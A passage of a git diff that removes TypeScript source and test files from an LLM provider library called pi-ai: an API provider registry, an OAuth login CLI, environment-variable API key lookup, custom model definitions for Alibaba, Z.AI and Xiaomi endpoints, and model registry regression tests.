ApiStreamFunction = ( - model: Model, - context: Context, - options?: StreamOptions, -) => AssistantMessageEventStream; - -export type ApiStreamSimpleFunction = ( - model: Model, - context: Context, - options?: SimpleStreamOptions, -) => AssistantMessageEventStream; - -export interface ApiProvider< - TApi extends Api = Api, - TOptions extends StreamOptions = StreamOptions, -> { - api: TApi; - stream: StreamFunction; - streamSimple: StreamFunction; -} - -interface ApiProviderInternal { - api: Api; - stream: ApiStreamFunction; - streamSimple: ApiStreamSimpleFunction; -} - -type RegisteredApiProvider = { - provider: ApiProviderInternal; - sourceId?: string; -}; - -const apiProviderRegistry = new Map(); - -function wrapStream( - api: TApi, - stream: StreamFunction, -): ApiStreamFunction { - return (model, context, options) => { - if (model.api !== api) { - throw new Error(`Mismatched api: ${model.api} expected ${api}`); - } - return stream(model as Model, context, options as TOptions); - }; -} - -function wrapStreamSimple( - api: TApi, - streamSimple: StreamFunction, -): ApiStreamSimpleFunction { - return (model, context, options) => { - if (model.api !== api) { - throw new Error(`Mismatched api: ${model.api} expected ${api}`); - } - return streamSimple(model as Model, context, options); - }; -} - -export function registerApiProvider< - TApi extends Api, - TOptions extends StreamOptions, ->(provider: ApiProvider, sourceId?: string): void { - apiProviderRegistry.set(provider.api, { - provider: { - api: provider.api, - stream: wrapStream(provider.api, provider.stream), - streamSimple: wrapStreamSimple(provider.api, provider.streamSimple), - }, - sourceId, - }); -} - -export function getApiProvider(api: Api): ApiProviderInternal | undefined { - return apiProviderRegistry.get(api)?.provider; -} - -export function clearApiProviders(): void { - apiProviderRegistry.clear(); -} diff --git a/packages/pi-ai/src/bedrock-provider.ts b/packages/pi-ai/src/bedrock-provider.ts deleted file mode 100644 index c6986518b..000000000 --- a/packages/pi-ai/src/bedrock-provider.ts +++ /dev/null @@ -1,9 +0,0 @@ -import { - streamBedrock, - streamSimpleBedrock, -} from "./providers/amazon-bedrock.js"; - -export const bedrockProviderModule = { - streamBedrock, - streamSimpleBedrock, -}; diff --git a/packages/pi-ai/src/cli.ts b/packages/pi-ai/src/cli.ts deleted file mode 100644 index ec1ce8456..000000000 --- a/packages/pi-ai/src/cli.ts +++ /dev/null @@ -1,152 +0,0 @@ -#!/usr/bin/env node - -import { existsSync, readFileSync, writeFileSync } from "node:fs"; -import { createInterface } from "node:readline"; -import { getOAuthProvider, getOAuthProviders } from "./utils/oauth/index.js"; -import type { OAuthCredentials, OAuthProviderId } from "./utils/oauth/types.js"; - -const AUTH_FILE = "auth.json"; -const PROVIDERS = getOAuthProviders(); - -function prompt( - rl: ReturnType, - question: string, -): Promise { - return new Promise((resolve) => rl.question(question, resolve)); -} - -function loadAuth(): Record { - if (!existsSync(AUTH_FILE)) return {}; - try { - return JSON.parse(readFileSync(AUTH_FILE, "utf-8")); - } catch { - return {}; - } -} - -function saveAuth( - auth: Record, -): void { - writeFileSync(AUTH_FILE, JSON.stringify(auth, null, 2), "utf-8"); -} - -async function login(providerId: OAuthProviderId): Promise { - const provider = getOAuthProvider(providerId); - if (!provider) { - console.error(`Unknown provider: ${providerId}`); - process.exit(1); - } - - const rl = createInterface({ input: process.stdin, output: process.stdout }); - const promptFn = (msg: string) => prompt(rl, `${msg} `); - - try { - const credentials = await provider.login({ - onAuth: (info) => { - console.log(`\nOpen this URL in your browser:\n${info.url}`); - if (info.instructions) console.log(info.instructions); - console.log(); - }, - onPrompt: async (p) => { - return await promptFn( - `${p.message}${p.placeholder ? ` (${p.placeholder})` : ""}:`, - ); - }, - onProgress: (msg) => console.log(msg), - }); - - const auth = loadAuth(); - auth[providerId] = { type: "oauth", ...credentials }; - saveAuth(auth); - - console.log(`\nCredentials saved to ${AUTH_FILE}`); - } finally { - rl.close(); - } -} - -async function main(): Promise { - const args = process.argv.slice(2); - const command = args[0]; - - if ( - !command || - command === "help" || - command === "--help" || - command === "-h" - ) { - const providerList = PROVIDERS.map( - (p) => ` ${p.id.padEnd(20)} ${p.name}`, - ).join("\n"); - console.log(`Usage: npx @singularity-forge/pi-ai [provider] - -Commands: - login [provider] Login to an OAuth provider - list List available providers - -Providers: -${providerList} - -Examples: - npx @singularity-forge/pi-ai login # interactive provider selection - npx @singularity-forge/pi-ai login anthropic # login to specific provider - npx @singularity-forge/pi-ai list # list providers -`); - return; - } - - if (command === "list") { - console.log("Available OAuth providers:\n"); - for (const p of PROVIDERS) { - console.log(` ${p.id.padEnd(20)} ${p.name}`); - } - return; - } - - if (command === "login") { - let provider = args[1] as OAuthProviderId | undefined; - - if (!provider) { - const rl = createInterface({ - input: process.stdin, - output: process.stdout, - }); - console.log("Select a provider:\n"); - for (let i = 0; i < PROVIDERS.length; i++) { - console.log(` ${i + 1}. ${PROVIDERS[i].name}`); - } - console.log(); - - const choice = await prompt(rl, `Enter number (1-${PROVIDERS.length}): `); - rl.close(); - - const index = parseInt(choice, 10) - 1; - if (index < 0 || index >= PROVIDERS.length) { - console.error("Invalid selection"); - process.exit(1); - } - provider = PROVIDERS[index].id; - } - - if (!PROVIDERS.some((p) => p.id === provider)) { - console.error(`Unknown provider: ${provider}`); - console.error( - `Use 'npx @singularity-forge/pi-ai list' to see available providers`, - ); - process.exit(1); - } - - console.log(`Logging in to ${provider}...`); - await login(provider); - return; - } - - console.error(`Unknown command: ${command}`); - console.error(`Use 'npx @singularity-forge/pi-ai --help' for usage`); - process.exit(1); -} - -main().catch((err) => { - console.error("Error:", err.message); - process.exit(1); -}); diff --git a/packages/pi-ai/src/env-api-keys.test.ts b/packages/pi-ai/src/env-api-keys.test.ts deleted file mode 100644 index 707e1f2aa..000000000 --- a/packages/pi-ai/src/env-api-keys.test.ts +++ /dev/null @@ -1,59 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { getEnvApiKey } from "./env-api-keys.js"; - -describe("getEnvApiKey", () => { - it("uses GEMINI_API_KEY for google when present", () => { - const savedGemini = process.env.GEMINI_API_KEY; - const savedGoogleGenerative = process.env.GOOGLE_GENERATIVE_AI_API_KEY; - - process.env.GEMINI_API_KEY = "gemini-key"; - process.env.GOOGLE_GENERATIVE_AI_API_KEY = "google-generative-key"; - - try { - assert.equal(getEnvApiKey("google"), "gemini-key"); - } finally { - if (savedGemini === undefined) delete process.env.GEMINI_API_KEY; - else process.env.GEMINI_API_KEY = savedGemini; - if (savedGoogleGenerative === undefined) - delete process.env.GOOGLE_GENERATIVE_AI_API_KEY; - else process.env.GOOGLE_GENERATIVE_AI_API_KEY = savedGoogleGenerative; - } - }); - - it("accepts GOOGLE_GENERATIVE_AI_API_KEY for google", () => { - const savedGemini = process.env.GEMINI_API_KEY; - const savedGoogleGenerative = process.env.GOOGLE_GENERATIVE_AI_API_KEY; - - delete process.env.GEMINI_API_KEY; - process.env.GOOGLE_GENERATIVE_AI_API_KEY = "google-generative-key"; - - try { - assert.equal(getEnvApiKey("google"), "google-generative-key"); - } finally { - if (savedGemini === undefined) delete process.env.GEMINI_API_KEY; - else process.env.GEMINI_API_KEY = savedGemini; - if (savedGoogleGenerative === undefined) - delete process.env.GOOGLE_GENERATIVE_AI_API_KEY; - else process.env.GOOGLE_GENERATIVE_AI_API_KEY = savedGoogleGenerative; - } - }); - - it("uses the OpenCode Go subscription key before the Zen key", () => { - const savedZen = process.env.OPENCODE_API_KEY; - const savedGo = process.env.OPENCODE_GO_API_KEY; - - process.env.OPENCODE_API_KEY = "zen-key"; - process.env.OPENCODE_GO_API_KEY = "go-key"; - - try { - assert.equal(getEnvApiKey("opencode"), "zen-key"); - assert.equal(getEnvApiKey("opencode-go"), "go-key"); - } finally { - if (savedZen === undefined) delete process.env.OPENCODE_API_KEY; - else process.env.OPENCODE_API_KEY = savedZen; - if (savedGo === undefined) delete process.env.OPENCODE_GO_API_KEY; - else process.env.OPENCODE_GO_API_KEY = savedGo; - } - }); -}); diff --git a/packages/pi-ai/src/env-api-keys.ts b/packages/pi-ai/src/env-api-keys.ts deleted file mode 100644 index a016211fd..000000000 --- a/packages/pi-ai/src/env-api-keys.ts +++ /dev/null @@ -1,192 +0,0 @@ -// NEVER convert to top-level imports - breaks browser/Vite builds (web-ui) -let _existsSync: typeof import("node:fs").existsSync | null = null; -let _homedir: typeof import("node:os").homedir | null = null; -let _join: typeof import("node:path").join | null = null; - -type DynamicImport = (specifier: string) => Promise; - -const dynamicImport: DynamicImport = (specifier) => import(specifier); -const NODE_FS_SPECIFIER = "node:" + "fs"; -const NODE_OS_SPECIFIER = "node:" + "os"; -const NODE_PATH_SPECIFIER = "node:" + "path"; - -// Eagerly load in Node.js/Bun environment only -if ( - typeof process !== "undefined" && - (process.versions?.node || process.versions?.bun) -) { - dynamicImport(NODE_FS_SPECIFIER).then((m) => { - _existsSync = (m as typeof import("node:fs")).existsSync; - }); - dynamicImport(NODE_OS_SPECIFIER).then((m) => { - _homedir = (m as typeof import("node:os")).homedir; - }); - dynamicImport(NODE_PATH_SPECIFIER).then((m) => { - _join = (m as typeof import("node:path")).join; - }); -} - -import type { KnownProvider } from "./types.js"; - -let cachedVertexAdcCredentialsExists: boolean | null = null; - -function hasVertexAdcCredentials(): boolean { - if (cachedVertexAdcCredentialsExists === null) { - // If node modules haven't loaded yet (async import race at startup), - // return false WITHOUT caching so the next call retries once they're ready. - // Only cache false permanently in a browser environment where fs is never available. - if (!_existsSync || !_homedir || !_join) { - const isNode = - typeof process !== "undefined" && - (process.versions?.node || process.versions?.bun); - if (!isNode) { - // Definitively in a browser — safe to cache false permanently - cachedVertexAdcCredentialsExists = false; - } - return false; - } - - // Check GOOGLE_APPLICATION_CREDENTIALS env var first (standard way) - const gacPath = process.env.GOOGLE_APPLICATION_CREDENTIALS; - if (gacPath) { - cachedVertexAdcCredentialsExists = _existsSync(gacPath); - } else { - // Fall back to default ADC path (lazy evaluation) - cachedVertexAdcCredentialsExists = _existsSync( - _join( - _homedir(), - ".config", - "gcloud", - "application_default_credentials.json", - ), - ); - } - } - return cachedVertexAdcCredentialsExists; -} - -/** - * Get API key for provider from known environment variables, e.g. OPENAI_API_KEY. - * - * Will not return API keys for providers that require OAuth tokens. - */ -export function getEnvApiKey(provider: KnownProvider): string | undefined; -export function getEnvApiKey(provider: string): string | undefined; -export function getEnvApiKey(provider: any): string | undefined { - // Fall back to environment variables - if (provider === "github-copilot") { - return ( - process.env.COPILOT_GITHUB_TOKEN || - process.env.GH_TOKEN || - process.env.GITHUB_TOKEN - ); - } - - // ANTHROPIC_OAUTH_TOKEN takes precedence over ANTHROPIC_API_KEY - if (provider === "anthropic") { - return process.env.ANTHROPIC_OAUTH_TOKEN || process.env.ANTHROPIC_API_KEY; - } - - // Anthropic on Vertex AI uses Application Default Credentials. - // Detected via ANTHROPIC_VERTEX_PROJECT_ID (same env var as Claude Code). - if (provider === "anthropic-vertex") { - const hasProject = !!process.env.ANTHROPIC_VERTEX_PROJECT_ID; - if (hasProject) { - return ""; - } - // Fall back to Google Cloud project env vars - const hasGoogleProject = !!( - process.env.GOOGLE_CLOUD_PROJECT || process.env.GCLOUD_PROJECT - ); - if (hasGoogleProject && hasVertexAdcCredentials()) { - return ""; - } - } - - // Vertex AI uses Application Default Credentials, not API keys. - // Auth is configured via `gcloud auth application-default login`. - if (provider === "google-vertex") { - const hasCredentials = hasVertexAdcCredentials(); - const hasProject = !!( - process.env.GOOGLE_CLOUD_PROJECT || process.env.GCLOUD_PROJECT - ); - const hasLocation = !!process.env.GOOGLE_CLOUD_LOCATION; - - if (hasCredentials && hasProject && hasLocation) { - return ""; - } - } - - // Xiaomi MiMo token-plan providers share a single key; allow legacy fallbacks. - if ( - provider === "xiaomi" || - provider === "xiaomi-token-plan-ams" || - provider === "xiaomi-token-plan-sgp" || - provider === "xiaomi-token-plan-cn" - ) { - return ( - process.env.XIAOMI_API_KEY || - process.env.XIAOMI_TOKEN_PLAN_API_KEY || - process.env.MIMO_API_KEY - ); - } - - if (provider === "amazon-bedrock") { - // Amazon Bedrock supports multiple credential sources: - // 1. AWS_PROFILE - named profile from ~/.aws/credentials - // 2. AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY - standard IAM keys - // 3. AWS_BEARER_TOKEN_BEDROCK - Bedrock API keys (bearer token) - // 4. AWS_CONTAINER_CREDENTIALS_RELATIVE_URI - ECS task roles - // 5. AWS_CONTAINER_CREDENTIALS_FULL_URI - ECS task roles (full URI) - // 6. AWS_WEB_IDENTITY_TOKEN_FILE - IRSA (IAM Roles for Service Accounts) - if ( - process.env.AWS_PROFILE || - (process.env.AWS_ACCESS_KEY_ID && process.env.AWS_SECRET_ACCESS_KEY) || - process.env.AWS_BEARER_TOKEN_BEDROCK || - process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI || - process.env.AWS_CONTAINER_CREDENTIALS_FULL_URI || - process.env.AWS_WEB_IDENTITY_TOKEN_FILE - ) { - return ""; - } - } - - const envMap: Record = { - openai: "OPENAI_API_KEY", - "azure-openai-responses": "AZURE_OPENAI_API_KEY", - google: ["GEMINI_API_KEY", "GOOGLE_GENERATIVE_AI_API_KEY"], - groq: "GROQ_API_KEY", - cerebras: "CEREBRAS_API_KEY", - xai: "XAI_API_KEY", - openrouter: "OPENROUTER_API_KEY", - "vercel-ai-gateway": "AI_GATEWAY_API_KEY", - zai: "ZAI_API_KEY", - mistral: "MISTRAL_API_KEY", - minimax: "MINIMAX_API_KEY", - "minimax-cn": "MINIMAX_CN_API_KEY", - huggingface: "HF_TOKEN", - opencode: "OPENCODE_API_KEY", - "opencode-go": ["OPENCODE_GO_API_KEY", "OPENCODE_API_KEY"], - "kimi-coding": "KIMI_API_KEY", - xiaomi: "XIAOMI_API_KEY", - "xiaomi-token-plan-ams": "XIAOMI_API_KEY", - "xiaomi-token-plan-sgp": "XIAOMI_API_KEY", - "xiaomi-token-plan-cn": "XIAOMI_API_KEY", - "alibaba-coding-plan": "ALIBABA_API_KEY", - "alibaba-dashscope": "DASHSCOPE_API_KEY", - ollama: "OLLAMA_API_KEY", - "ollama-cloud": "OLLAMA_API_KEY", - "custom-openai": "CUSTOM_OPENAI_API_KEY", - longcat: "LONGCAT_API_KEY", - }; - - const envVar = envMap[provider]; - if (Array.isArray(envVar)) { - for (const name of envVar) { - const value = process.env[name]; - if (value) return value; - } - return undefined; - } - return envVar ? process.env[envVar] : undefined; -} diff --git a/packages/pi-ai/src/index.ts b/packages/pi-ai/src/index.ts deleted file mode 100644 index 8a8409baa..000000000 --- a/packages/pi-ai/src/index.ts +++ /dev/null @@ -1,42 +0,0 @@ -export type { Static, TSchema } from "@sinclair/typebox"; -export { Type } from "@sinclair/typebox"; - -export * from "./api-registry.js"; -export * from "./env-api-keys.js"; -export * from "./models.js"; -export * from "./providers/anthropic.js"; -export { - mapThinkingLevelToEffort, - supportsAdaptiveThinking, -} from "./providers/anthropic-shared.js"; -export * from "./providers/azure-openai-responses.js"; -export * from "./providers/google.js"; -export * from "./providers/google-gemini-cli.js"; -export * from "./providers/google-vertex.js"; -export * from "./providers/mistral.js"; -export * from "./providers/openai-completions.js"; -export * from "./providers/openai-responses.js"; -export * from "./providers/provider-capabilities.js"; -export * from "./providers/register-builtins.js"; -export type { ProviderSwitchReport } from "./providers/transform-messages.js"; -export { - createEmptyReport, - hasTransformations, - transformMessagesWithReport, -} from "./providers/transform-messages.js"; -export * from "./stream.js"; -export * from "./types.js"; -export * from "./utils/event-stream.js"; -export * from "./utils/json-parse.js"; -export type { - OAuthAuthInfo, - OAuthCredentials, - OAuthLoginCallbacks, - OAuthPrompt, - OAuthProviderId, - OAuthProviderInterface, -} from "./utils/oauth/types.js"; -export * from "./utils/overflow.js"; -export * from "./utils/repair-tool-json.js"; -export * from "./utils/typebox-helpers.js"; -export * from "./utils/validation.js"; diff --git a/packages/pi-ai/src/models.custom.ts b/packages/pi-ai/src/models.custom.ts deleted file mode 100644 index 61736f991..000000000 --- a/packages/pi-ai/src/models.custom.ts +++ /dev/null @@ -1,369 +0,0 @@ -// Manually-maintained model definitions for providers NOT tracked by models.dev. -// -// The auto-generated file (models.generated.ts) is rebuilt from the models.dev -// third-party catalog. Providers that use proprietary endpoints and are not -// listed on models.dev must be defined here so they survive regeneration. -// -// See: https://github.com/singularity-forge/sf-run/issues/2339 -// -// To add a custom provider: -// 1. Add its model definitions below following the existing pattern. -// 2. Add its API key mapping to env-api-keys.ts. -// 3. Add its provider name to KnownProvider in types.ts (if not already there). - -import type { Model } from "./types.js"; - -export const CUSTOM_MODELS = { - // ─── Alibaba Coding Plan ───────────────────────────────────────────── - // Direct Alibaba DashScope Coding Plan endpoint (OpenAI-compatible). - // NOT the same as alibaba/* models on OpenRouter — different endpoint & auth. - // Original PR: #295 | Fixes: #1003, #1055, #1057 - "alibaba-coding-plan": { - "qwen3.5-plus": { - id: "qwen3.5-plus", - name: "Qwen3.5 Plus", - api: "openai-completions", - provider: "alibaba-coding-plan", - baseUrl: "https://coding-intl.dashscope.aliyuncs.com/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 983616, - maxTokens: 65536, - compat: { thinkingFormat: "qwen", supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - "qwen3-max-2026-01-23": { - id: "qwen3-max-2026-01-23", - name: "Qwen3 Max 2026-01-23", - api: "openai-completions", - provider: "alibaba-coding-plan", - baseUrl: "https://coding-intl.dashscope.aliyuncs.com/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 258048, - maxTokens: 32768, - compat: { thinkingFormat: "qwen", supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - "qwen3-coder-next": { - id: "qwen3-coder-next", - name: "Qwen3 Coder Next", - api: "openai-completions", - provider: "alibaba-coding-plan", - baseUrl: "https://coding-intl.dashscope.aliyuncs.com/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 65536, - compat: { supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - "qwen3-coder-plus": { - id: "qwen3-coder-plus", - name: "Qwen3 Coder Plus", - api: "openai-completions", - provider: "alibaba-coding-plan", - baseUrl: "https://coding-intl.dashscope.aliyuncs.com/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 997952, - maxTokens: 65536, - compat: { supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - "MiniMax-M2.5": { - id: "MiniMax-M2.5", - name: "MiniMax M2.5", - api: "openai-completions", - provider: "alibaba-coding-plan", - baseUrl: "https://coding-intl.dashscope.aliyuncs.com/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 196608, - maxTokens: 65536, - compat: { - supportsStore: false, - supportsDeveloperRole: false, - supportsReasoningEffort: true, - maxTokensField: "max_tokens", - }, - } satisfies Model<"openai-completions">, - "glm-5": { - id: "glm-5", - name: "GLM-5", - api: "openai-completions", - provider: "alibaba-coding-plan", - baseUrl: "https://coding-intl.dashscope.aliyuncs.com/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 16384, - compat: { thinkingFormat: "qwen", supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - "glm-4.7": { - id: "glm-4.7", - name: "GLM-4.7", - api: "openai-completions", - provider: "alibaba-coding-plan", - baseUrl: "https://coding-intl.dashscope.aliyuncs.com/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 169984, - maxTokens: 16384, - compat: { thinkingFormat: "qwen", supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - "kimi-k2.5": { - id: "kimi-k2.5", - name: "Kimi K2.5", - api: "openai-completions", - provider: "alibaba-coding-plan", - baseUrl: "https://coding-intl.dashscope.aliyuncs.com/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 258048, - maxTokens: 32768, - compat: { thinkingFormat: "zai", supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - }, - - // ─── Alibaba DashScope ─────────────────────────────────────────────── - // Regular DashScope API for users without the Coding Plan. - // Uses the international OpenAI-compatible endpoint. - // Requires DASHSCOPE_API_KEY from: dashscope.console.aliyun.com - // Pricing: https://www.alibabacloud.com/help/en/model-studio/model-pricing - "alibaba-dashscope": { - "qwen3-max": { - id: "qwen3-max", - name: "Qwen3 Max", - api: "openai-completions", - provider: "alibaba-dashscope", - baseUrl: "https://dashscope-intl.aliyuncs.com/compatible-mode/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1.2, - output: 6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 32768, - compat: { thinkingFormat: "qwen", supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - "qwen3.5-plus": { - id: "qwen3.5-plus", - name: "Qwen3.5 Plus", - api: "openai-completions", - provider: "alibaba-dashscope", - baseUrl: "https://dashscope-intl.aliyuncs.com/compatible-mode/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.4, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 65536, - compat: { thinkingFormat: "qwen", supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - "qwen3.5-flash": { - id: "qwen3.5-flash", - name: "Qwen3.5 Flash", - api: "openai-completions", - provider: "alibaba-dashscope", - baseUrl: "https://dashscope-intl.aliyuncs.com/compatible-mode/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.1, - output: 0.4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 32768, - compat: { supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - "qwen3-coder-plus": { - id: "qwen3-coder-plus", - name: "Qwen3 Coder Plus", - api: "openai-completions", - provider: "alibaba-dashscope", - baseUrl: "https://dashscope-intl.aliyuncs.com/compatible-mode/v1", - reasoning: false, - input: ["text"], - cost: { - input: 1.0, - output: 5.0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 65536, - compat: { supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - "qwen3.6-plus": { - id: "qwen3.6-plus", - name: "Qwen3.6 Plus", - api: "openai-completions", - provider: "alibaba-dashscope", - baseUrl: "https://dashscope-intl.aliyuncs.com/compatible-mode/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.5, - output: 3.0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 65536, - compat: { thinkingFormat: "qwen", supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - }, - - // ─── Z.AI (GLM-5.1) ──────────────────────────────────────────────── - // GLM-5.1 is the latest GLM model from Zhipu AI, not yet in models.dev. - // Uses the Z.AI Coding Plan endpoint (OpenAI-compatible). - // Ref: https://docs.z.ai/devpack/using5.1 - zai: { - "glm-5.1": { - id: "glm-5.1", - name: "GLM-5.1", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3.2, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - compat: { thinkingFormat: "zai", supportsDeveloperRole: false }, - } satisfies Model<"openai-completions">, - }, - - // ─── Xiaomi MiMo ───────────────────────────────────────────────────── - // Direct Xiaomi Token Plan AMS endpoint (Anthropic-compatible). - // Uses Bearer auth with XIAOMI_API_KEY against /anthropic. - xiaomi: { - "mimo-v2-omni": { - id: "mimo-v2-omni", - name: "MiMo V2 Omni", - api: "anthropic-messages", - provider: "xiaomi", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"anthropic-messages">, - "mimo-v2-pro": { - id: "mimo-v2-pro", - name: "MiMo V2 Pro", - api: "anthropic-messages", - provider: "xiaomi", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "mimo-v2.5": { - id: "mimo-v2.5", - name: "MiMo V2.5", - api: "anthropic-messages", - provider: "xiaomi", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "mimo-v2.5-pro": { - id: "mimo-v2.5-pro", - name: "MiMo V2.5 Pro", - api: "anthropic-messages", - provider: "xiaomi", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - }, -} as const; diff --git a/packages/pi-ai/src/models.generated.test.ts b/packages/pi-ai/src/models.generated.test.ts deleted file mode 100644 index b285a1369..000000000 --- a/packages/pi-ai/src/models.generated.test.ts +++ /dev/null @@ -1,509 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { MODELS } from "./models.generated.js"; -import { getModel, getModels, getProviders } from "./models.js"; - -// ═══════════════════════════════════════════════════════════════════════════ -// Regression: qwen/qwen3.6-plus missing from OpenRouter (issue #3582) -// ═══════════════════════════════════════════════════════════════════════════ - -describe("regression #3582 — qwen/qwen3.6-plus available via openrouter", () => { - it("qwen/qwen3.6-plus exists in MODELS['openrouter']", () => { - const model = - MODELS["openrouter"][ - "qwen/qwen3.6-plus" as keyof (typeof MODELS)["openrouter"] - ]; - assert.ok(model, "qwen/qwen3.6-plus must be present in MODELS.openrouter"); - }); - - it("qwen/qwen3.6-plus is accessible via getModel()", () => { - const model = getModel("openrouter", "qwen/qwen3.6-plus" as any); - assert.ok( - model, - "getModel('openrouter', 'qwen/qwen3.6-plus') must return a model", - ); - }); - - it("qwen/qwen3.6-plus has id matching its registry key", () => { - const model = getModel("openrouter", "qwen/qwen3.6-plus" as any); - assert.equal(model.id, "qwen/qwen3.6-plus"); - }); - - it("qwen/qwen3.6-plus has provider set to openrouter", () => { - const model = getModel("openrouter", "qwen/qwen3.6-plus" as any); - assert.equal(model.provider, "openrouter"); - }); - - it("qwen/qwen3.6-plus has reasoning enabled", () => { - const model = getModel("openrouter", "qwen/qwen3.6-plus" as any); - assert.equal(model.reasoning, true, "Qwen3.6 Plus is a reasoning model"); - }); - - it("qwen/qwen3.6-plus has 1M context window", () => { - const model = getModel("openrouter", "qwen/qwen3.6-plus" as any); - assert.equal(model.contextWindow, 1_000_000); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// Regression: z-ai/glm-5.1 missing from OpenRouter (issue #4069) -// ═══════════════════════════════════════════════════════════════════════════ - -describe("regression #4069 — z-ai/glm-5.1 available via openrouter", () => { - it("z-ai/glm-5.1 exists in MODELS['openrouter']", () => { - const model = - MODELS["openrouter"][ - "z-ai/glm-5.1" as keyof (typeof MODELS)["openrouter"] - ]; - assert.ok(model, "z-ai/glm-5.1 must be present in MODELS.openrouter"); - }); - - it("z-ai/glm-5.1 is accessible via getModel()", () => { - const model = getModel("openrouter", "z-ai/glm-5.1" as any); - assert.ok( - model, - "getModel('openrouter', 'z-ai/glm-5.1') must return a model", - ); - }); - - it("z-ai/glm-5.1 has id matching its registry key", () => { - const model = getModel("openrouter", "z-ai/glm-5.1" as any); - assert.equal(model.id, "z-ai/glm-5.1"); - }); - - it("z-ai/glm-5.1 has provider set to openrouter", () => { - const model = getModel("openrouter", "z-ai/glm-5.1" as any); - assert.equal(model.provider, "openrouter"); - }); - - it("z-ai/glm-5.1 has a positive context window", () => { - const model = getModel("openrouter", "z-ai/glm-5.1" as any); - assert.ok(model.contextWindow > 0); - }); - - it("z-ai/glm-5.1 uses the OpenRouter base URL", () => { - const model = getModel("openrouter", "z-ai/glm-5.1" as any); - assert.equal(model.baseUrl, "https://openrouter.ai/api/v1"); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// Structural invariants — every model in MODELS must be well-formed -// ═══════════════════════════════════════════════════════════════════════════ - -describe("MODELS structural invariants", () => { - type ModelEntry = { - providerKey: string; - modelKey: string; - model: Record; - }; - - function allModels(): ModelEntry[] { - const entries: ModelEntry[] = []; - for (const [providerKey, providerModels] of Object.entries(MODELS)) { - for (const [modelKey, model] of Object.entries(providerModels)) { - entries.push({ - providerKey, - modelKey, - model: model as Record, - }); - } - } - return entries; - } - - it("every model's id field matches its key in MODELS", () => { - const mismatches: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - if (model["id"] !== modelKey) { - mismatches.push(`${providerKey}/${modelKey}: id="${model["id"]}"`); - } - } - assert.deepEqual( - mismatches, - [], - `Models where 'id' doesn't match registry key:\n ${mismatches.join("\n ")}`, - ); - }); - - it("every model's provider field matches its parent provider key", () => { - const mismatches: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - if (model["provider"] !== providerKey) { - mismatches.push( - `${providerKey}/${modelKey}: provider="${model["provider"]}"`, - ); - } - } - assert.deepEqual( - mismatches, - [], - `Models where 'provider' doesn't match parent 